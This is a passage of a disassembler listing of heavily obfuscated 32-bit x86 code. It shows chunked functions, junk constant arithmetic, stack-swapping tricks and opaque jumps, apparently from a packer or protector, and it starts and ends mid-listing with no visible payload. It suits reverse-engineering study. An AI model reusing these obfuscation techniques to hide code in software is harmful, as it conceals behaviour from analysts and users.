[esp+4+var_4], edi mov edi, esp add edi, 4 push 3C3Fh mov [esp+8+var_8], esi mov esi, 4 push edx jmp loc_5AF7AC sub_5AE72D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AE754: ; CODE XREF: sub_5A6BBC-42ECj sub bh, 0DEh add dl, bh pop ebx push ax mov ah, 3Eh jmp loc_5AC4CA ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AE763: ; CODE XREF: sub_5A917C-743Bj ; sub_5A0FFF+347Bj add ebx, 4 xchg ebx, [esp+8+var_8] pop esp shl ebx, 4 sub ebx, 16AFD1D0h and eax, ebx jmp loc_5AAA60 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AE77D: ; CODE XREF: sub_5A0AA2-2498j pop esi jmp loc_599B71 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5AE783: ; CODE XREF: sub_5A405F+8D0Fj xor edx, [esp+8+var_8] pop esp push ecx not [esp+8+var_8] mov ecx, [esp+8+var_8] add esp, 4 push eax mov eax, 27C62E93h push ecx mov ecx, 46E732AEh add eax, ecx pop ecx or eax, 3D17249Fh jmp loc_5A7803 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AE7AD: ; CODE XREF: sub_59CBE1+1042Fj sub ebx, 114594B8h jmp loc_5AD022 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; =============== S U B R O U T I N E ======================================= sub_5AE7B8 proc near ; CODE XREF: sub_5A489F+835Bj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599901 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059AB54 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A0855 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A3CDA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A3F63 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA0E5 SIZE 0000000E BYTES sub esp, 4 jmp loc_5A0855 sub_5AE7B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AE7C3: ; CODE XREF: sub_5992DA:loc_5A617Cj sub eax, 0CB287027h mov esi, eax pop eax add eax, esi jmp sub_5A9EC5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE7D2: ; CODE XREF: sub_5AA2D1-3F57j neg esi jnz loc_5A78D0 neg esi jmp loc_5A495C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov [esp], edi mov edi, 656C1BD1h ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AE7E9: ; CODE XREF: sub_5A9EC5+4283j mov edx, [esp+2+var_4+2] jmp loc_599F06 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AE7F1: ; CODE XREF: sub_59F02F+B54Fj xor edx, 1E013A63h jnp loc_59D397 dec edx jmp sub_5A522E ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AE803: ; CODE XREF: sub_5A917C-5E3Aj mov ecx, [esp+4+var_4] push ebx mov ebx, esp jmp loc_5AABE2 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- loc_5AE80E: ; CODE XREF: sdfs____:005A2BB7j push edx mov edx, 70F2305Bh mov ebx, edx pop edx not ebx push ecx mov ecx, 8F0DCFA0h jmp loc_5A165C ; =============== S U B R O U T I N E ======================================= sub_5AE824 proc near ; CODE XREF: sub_5AA2D1+4A65j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 005A403C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A64E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF0A4 SIZE 00000019 BYTES sub esp, 4 mov [esp+4+var_4], ebx push eax push 27D0664Ah pop eax sub eax, 27D06648h mov ebx, eax mov eax, [esp+8+var_8] jmp loc_5AF0A4 sub_5AE824 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE843: ; CODE XREF: sub_59D6B8+10FB0j pop esp mov [esp+0], edx push 5F3Ch mov [esp+4+var_4], ecx push 727F7ABBh jmp loc_5A6F69 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5AE859: ; CODE XREF: sub_5A3992+9j xchg eax, [esp+0] pop esp push edx jmp loc_5AAB85 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE863: ; CODE XREF: sub_5AA2D1+1F9Bj mov eax, [esp+2+var_4+2] push edx push esp pop edx add edx, 4 jmp loc_5A5BB9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AE874: ; CODE XREF: sub_5A580F+A1C5j pop ebp push eax mov eax, esp push ecx mov ecx, 17BE1E85h sub ecx, 293C1BBh or ecx, 6E212367h add ecx, 1F040969h sub ecx, 0E026BA5h jmp loc_59D1D1 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5AE89B: ; CODE XREF: sub_5A2166+D537j add esi, ebp pop ebp push 5394h mov [esp-4+arg_0], edx mov edx, 147768CAh add esi, edx pop edx jmp loc_59AC59 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5AE8B3: ; CODE XREF: sub_5A118F+ABDAj add al, 0F7h jmp loc_59EEBC ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE8BA: ; CODE XREF: sub_5AA2D1-E45Cj add esp, 4 mov ebp, esi mov esi, [esp+10h+var_10] add esp, 4 and [edi+1Ch], ebp push [esp+0Ch+var_C] mov ebp, [esp+10h+var_10] add esp, 4 push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx push edx mov edx, 4 jmp loc_59FB81 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AE8EB: ; CODE XREF: sub_59C979+263Cj push esi push ecx mov ecx, 410B0C55h mov esi, 155B1599h add esi, ecx mov ecx, [esp+6+var_6] add esp, 4 jmp loc_5A960D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5AE907: ; CODE XREF: sub_5A4D9D-97D6j ; sdfs____:0059CEAFj add esi, 4 jmp loc_5AF2CE ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_5AE912: ; CODE XREF: sub_599884+3F22j push edx push 56AE5DDCh pop edx sub edx, 42D51BCCh and edx, 2F6E595Fh jmp loc_5AFCF4 ; END OF FUNCTION CHUNK FOR sub_599884 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE92A: ; CODE XREF: sub_5AA2D1+1C85j sub ebx, 43927389h pop edi xchg ebx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] push 5F10h mov [esp+6+var_8+2], eax jmp loc_5AEB2D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AE944: ; CODE XREF: sub_59A479+12779j sub [esp+8+var_4], 6C441981h add [esp+8+var_4], edi jmp loc_5A4051 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE955: ; CODE XREF: sub_5A580F-4F63j ; sub_5AA2D1+5353j mov cx, bp pop ebp xor cx, 301h and cx, 0F8Fh neg cx shl cx, 5 push ebx mov bx, 7F49h push bx neg word ptr [esp+8+var_8] mov bx, word ptr [esp+8+var_8] jmp loc_5AFFCD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5AE97E: ; CODE XREF: sub_5A35F6+7722j pop esp jmp loc_5A2F31 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- loc_5AE984: ; CODE XREF: sdfs____:0059E3E7j xor ebp, 2F0C0458h mov esi, ebp pop ebp xor esi, 6E0E4078h add eax, esi mov esi, [esp] add esp, 4 push 53A2h mov [esp], eax push dword ptr [esp+4] jmp loc_5A782D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AE9AF: ; CODE XREF: sub_5A7BA0+5B95j xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] and eax, ebp push [esp+4+var_4] pop ebp push eax push esp pop eax push 7EF5h mov [esp+0Ch+var_C], esi mov esi, 4 add eax, esi pop esi jmp loc_5A1150 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE9D3: ; CODE XREF: sub_59D6B8+51B4j ; sub_5A06C1+60FCj add esp, 4 push 3B61h mov [esp+8+var_8], ebx mov ebx, 33B06196h shr ebx, 6 push eax jmp loc_5A542A ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A041B loc_5AE9EC: ; CODE XREF: sub_5A041B+4B21j add eax, ebp pop ebp jmp sub_5A3992 ; END OF FUNCTION CHUNK FOR sub_5A041B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_5AE9F4: ; CODE XREF: sub_5AE40A-F0EDj pop esi jmp loc_5B01C4 ; END OF FUNCTION CHUNK FOR sub_5AE40A ; =============== S U B R O U T I N E ======================================= sub_5AE9FA proc near ; DATA XREF: sdfs____:00599010o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B75F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A15F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A35CA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AB869 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD1F6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AFECA SIZE 00000021 BYTES push dword ptr [esp+0] mov ecx, [esp+0] push 5584h mov [esp+4+var_4], edi mov edi, esp push 5503h mov [esp+8+var_8], esi push edx mov edx, 4 jmp loc_5A35CA sub_5AE9FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEA1D: ; CODE XREF: sub_5AA2D1-D09Fj push edx push ebx mov bh, ch mov dl, bh mov ebx, [esp+24h+var_26+2] add esp, 4 mov bl, dl pop edx mov al, bl pop ebx mov ecx, [esp+18h+var_1A+2] add esp, 4 jmp loc_5A3371 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A355D loc_5AEA40: ; CODE XREF: sub_5A355D+ACEBj pop esp mov [esp+0], eax jmp loc_5AB020 ; END OF FUNCTION CHUNK FOR sub_5A355D ; --------------------------------------------------------------------------- loc_5AEA49: ; CODE XREF: sdfs____:005A0055j xor eax, ebx push 53EAh mov [esp], ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx push 10BDh mov [esp], ebp mov ebp, 758C22D5h jmp loc_5A6AF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEA81: ; CODE XREF: sub_59F967+3j ; sub_5AA2D1+2B59j pop ebp add esi, eax pop eax dec esi xchg ecx, esi dec ecx xor esi, ecx xor ecx, esi xor esi, ecx or esi, 28ED76A0h sub esp, 4 mov [esp-1Ah+arg_14+2], edx push ebp push eax mov eax, 121A3DD6h add eax, 1D39093Ah jg loc_5AF416 or eax, 2DE16043h jmp loc_5AB059 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov bh, cl ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEAB9: ; CODE XREF: sub_5AA2D1-C26Fj mov [esp-1Ch+arg_18], ebp push esi jmp loc_5A3832 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7508 loc_5AEAC2: ; CODE XREF: sub_5A7508-CC36j not edi shr edi, 3 jnp loc_5A8843 xor edi, 8415E0Eh jz loc_5A9CCF ; END OF FUNCTION CHUNK FOR sub_5A7508 ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AEAD9: ; CODE XREF: sub_59C979+6EE5j mov bh, dh mov al, bh mov ebx, [esp+0Eh+var_10+2] add esp, 4 mov edx, [esp+0Ah+var_A] add esp, 4 jmp loc_5A86ED ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BC97 loc_5AEAF1: ; CODE XREF: sub_59BC97+3j mov [esp+4+var_4], edi push ebp jmp loc_59CC3B ; END OF FUNCTION CHUNK FOR sub_59BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5AEAFA: ; CODE XREF: sub_5AD84A+DF4j add esi, 4 xchg esi, [esp+8+var_8] jmp loc_599656 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEB05: ; CODE XREF: sub_5AA2D1-6855j add ecx, 2DF646EFh shr ecx, 5 sub ecx, 0B8569F87h jmp loc_59CD5C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AEB19: ; CODE XREF: sub_5AC803-F881j shl esi, 6 dec esi add esi, 8DEE6BAEh mov edx, esi mov esi, [esp+4+var_4] jmp loc_5AB020 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEB2D: ; CODE XREF: sub_5AA2D1+466Ej jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AEB32: ; CODE XREF: sub_59F02F+B56Fj mov [esp+10h+var_10], edi mov edi, 400FD558h mov eax, edi mov edi, [esp+10h+var_10] add esp, 4 xor edx, eax push [esp+0Ch+var_C] pop eax push esi mov esi, esp add esi, 4 jmp loc_5A6174 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- loc_5AEB59: ; CODE XREF: sdfs____:005A8873j push 3E6Ch jmp loc_59D82F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5AEB63: ; CODE XREF: sub_5ABEF6-9264j not ebp jmp loc_5ACEE7 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AEB6A: ; CODE XREF: sub_5A5EFF:loc_59E56Dj add edx, 0ED90B0CEh sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+0Ch+var_C], ebp mov ebp, 4E15310Dh sub esp, 4 mov [esp+10h+var_10], ebp mov ebp, 39C666E0h not ebp inc ebp push edi mov edi, 52881F72h or ebp, edi pop edi sub ebp, 0C3F563C9h sub edx, ebp jmp loc_59AA1B ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEBB9: ; CODE XREF: sub_59EE3E-1398j ; sub_5AA2D1-7171j xor ch, bl pop ebx xor ch, 61h jmp loc_5A9B9A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_5AEBC4: ; CODE XREF: sub_5A68A5+45E5j mov ebp, 0D046E79Eh add esi, ebp pop ebp add edx, esi pop esi sub esp, 4 jmp loc_5A161C ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AEBD7: ; CODE XREF: sub_5A477C+1FB4j xor edx, 17654B03h jo loc_5AA6EA add edx, 28120D18h ja loc_5A2794 shl edx, 3 jnz sub_59F2D1 push esi loc_5AEBF9: ; CODE XREF: sub_5A2E28:loc_59BAE5j ; sub_5AF294-EB45j inc edi not edi jmp sub_599B07 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEC01: ; CODE XREF: sub_5AA2D1+5AC0j mov edx, edi mov edi, [esp+0] add esp, 4 add edi, edx mov edx, [esp-4+arg_0] add esp, 4 xchg edi, [esp-8+arg_4] jmp loc_5A7DE4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AEC1C proc near ; CODE XREF: sub_5A18F6+51FDj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A0522 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A294F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A5E41 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A9661 SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], edx sub esp, 4 mov [esp+8+var_8], eax push ebx jmp loc_5A5E41 sub_5AEC1C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5AEC34: ; CODE XREF: sub_5A2166+68F9j mov [esp+0], edx mov edx, 6CA5919h jmp loc_5A3B6F ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEC41: ; CODE XREF: sub_5AA2D1:loc_5A5C6Aj not edx add edx, 73704C46h jmp loc_5A9074 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5AEC4E: ; CODE XREF: sub_59ED98+26E0j sub bl, dl jmp loc_5ADC28 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AEC55: ; CODE XREF: sub_5AA2D1-ED46j push 352702EBh pop esi sub ebx, 1CCA56E3h sub ebx, 7B064ACh sub ebx, esi sub esp, 4 jmp loc_5A7ACC ; --------------------------------------------------------------------------- loc_5AEC74: ; CODE XREF: sub_5AA2D1+40D8j mov ch, 9Ah jmp loc_59DE9C ; --------------------------------------------------------------------------- loc_5AEC7B: ; CODE XREF: sub_5AA2D1-A07Aj sub esi, 3133018Dh pop eax jmp loc_59A9F4 ; --------------------------------------------------------------------------- loc_5AEC87: ; CODE XREF: sub_5AA2D1-CB68j pop eax add bl, 59h jmp loc_5A853A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AEC90: ; CODE XREF: sub_5992DA+5D95j xchg ebx, edx push 458Fh mov [esp+10h+var_10], ebx push ecx jmp loc_5A34EE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD336 loc_5AECA0: ; CODE XREF: sub_5AD336+Aj push esi mov esi, esp jmp loc_5A4A9F ; END OF FUNCTION CHUNK FOR sub_5AD336 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A317A loc_5AECA8: ; CODE XREF: sub_5A317A-34A2j pop esi push eax mov eax, 45D2197Dh sub esi, eax pop eax add esi, eax push ebp mov ebp, 45D2197Dh add esi, ebp pop ebp pop eax push ebx push eax mov eax, 2 mov ebx, eax pop eax add esi, ebx mov ebx, [esp+0] jmp loc_5ACAB8 ; END OF FUNCTION CHUNK FOR sub_5A317A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5AECD2: ; CODE XREF: sub_5A3E64-A790j push 2CDCh jmp loc_59A818 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AECDC: ; CODE XREF: sub_5AD993-1417Dj sub dh, ah pop eax add al, 58h sub al, dh jmp loc_5AC75C ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AECE8: ; CODE XREF: sub_5A6BBC+75E1j movzx cx, ah push 7F98h jmp loc_5A4E4C ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_5AECF6: ; CODE XREF: sub_5A2F58+C57j add al, 2Eh pop cx jmp sub_5AA52F ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AECFF: ; CODE XREF: sub_5AA2D1:loc_5A095Cj add eax, (offset loc_5A0B9D+4) push ebp mov ebp, 274058h sub eax, ebp mov ebp, [esp+8+var_8] add esp, 4 push 6484h jmp loc_5B00EA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_5AED1F: ; CODE XREF: sub_5A96D8-81D2j or ebx, 1D8B5011h jmp sub_59A986 ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AED2A: ; CODE XREF: sub_5ADD33-3F4Ej xor esi, 9AEDFC9Bh jmp loc_599597 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AED35: ; CODE XREF: sub_5AA2D1-458Cj pop ebx jmp sub_5AE824 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AED3B: ; CODE XREF: sdfs____:005AAC21j ; sub_5A477C+AC72j shl ecx, 2 add ecx, 6BA50714h xor ecx, 2BB5DFB7h add eax, 7A986E5Ch add eax, ecx sub eax, 7A986E5Ch jmp loc_5A5155 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AED5B: ; CODE XREF: sub_5AF2D9-3647j and cl, 7Eh push dx mov dh, cl neg dh mov cl, dh pop dx jmp loc_5A43F8 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AED6D: ; CODE XREF: sub_5AA2D1-8601j jp loc_5A6E61 sub esp, 2 mov word ptr [esp+0Ch+var_C], bx mov bh, 66h jmp loc_5AAA53 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AED81: ; CODE XREF: sub_5A7BA0-6A37j xchg ecx, [esp+10h+var_10] pop esp pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] or eax, eax jz loc_59ED0B push dword ptr [edi+1Ch] mov ecx, [esp+0Ch+var_C] push 711Eh jmp loc_5A6783 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- loc_5AEDA3: ; CODE XREF: sdfs____:005A67A0j add eax, 4 sub esp, 4 mov [esp], esi push ebp jmp loc_59E3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AEDB7: ; CODE XREF: sub_5992DA+1628Fj jmp loc_599CAB ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AEDBC: ; CODE XREF: sdfs____:005A1920j ; sub_5ADD33+7A0j mov ebp, 2 sub eax, 1C426677h add eax, ebp add eax, 1C426677h jmp loc_5A46D4 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E3E loc_5AEDD2: ; CODE XREF: sub_5A8E3E-6527j add edi, 7080B1F1h mov esi, edi pop edi neg esi jmp loc_5ABC03 ; END OF FUNCTION CHUNK FOR sub_5A8E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5AEDE2: ; CODE XREF: sub_59982C+8145j mov [esp+8+var_8], ebx push eax push 2F5129CCh push [esp+10h+var_10] pop eax jmp loc_5A0E84 ; END OF FUNCTION CHUNK FOR sub_59982C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_5AEDF4: ; CODE XREF: sub_5A633D-BF25j pop ecx add esp, 4 mov edx, [esp-8+arg_4] add esp, 4 push ebp push ecx jmp loc_5A2CEC ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_5AEE08: ; CODE XREF: sub_5A765F+3A7Cj push ecx push dword ptr [esp-4+arg_4] mov ecx, [esp+0] add esp, 4 jmp loc_59CAEF ; END OF FUNCTION CHUNK FOR sub_5A765F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AEE1B: ; CODE XREF: sub_5992DA+16747j pop edi sub esi, 4A084255h add esi, ecx add esi, 4A084255h pop ecx xchg esi, [esp+0Ch+var_C] pop esp pop esi push esi xchg ecx, [esp+0] xchg ebx, ecx not ebx xchg ebx, ecx xor [esp+0], ecx xor ecx, [esp+0] xor [esp+0], ecx pop esi xchg eax, esi jmp loc_59E2E4 ; --------------------------------------------------------------------------- loc_5AEE4A: ; CODE XREF: sub_5992DA+5EE4j push [esp+24h+var_26+2] push [esp+28h+var_2A+2] push [esp+2Ch+var_2E+2] pop eax add esp, 4 add esp, 4 push esi mov esi, esp jmp loc_59C704 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5AEE62: ; CODE XREF: sub_5A522E-28A2j mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_5A02F8 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5AEE6D: ; CODE XREF: sub_59A7E7+B9C3j or dl, 0EFh push bx mov bh, 4Dh xor dl, bh mov bx, word ptr [esp+0Eh+var_10+2] jmp loc_5AC956 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AEE7F: ; CODE XREF: sub_5992DA+10646j mov ch, 56h jmp loc_59AD09 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5AEE86: ; CODE XREF: sub_5A8215-4D73j pop esi push ebx jmp loc_59F50A ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AEE8D: ; CODE XREF: sub_59BA35+293Aj ; sub_59EE3E+992Ej sub dl, bh pop ebx xor al, dl push [esp-10h+arg_C] jmp loc_5AD441 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AEE9A: ; CODE XREF: sub_5992DA+14480j mov edi, 1F4C6D3Ch inc edi add edi, 39C5E84Fh sub edx, edi mov edi, [esp-4+arg_0] add esp, 4 add edx, 510327D8h push eax mov eax, 30DE0895h add edx, 0B813E87h sub edx, eax sub edx, 0B813E87h pop eax sub edx, 4CD879CEh add edx, eax add edx, 4CD879CEh add edx, 30DE0895h sub edx, 510327D8h jmp sub_5AF46F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 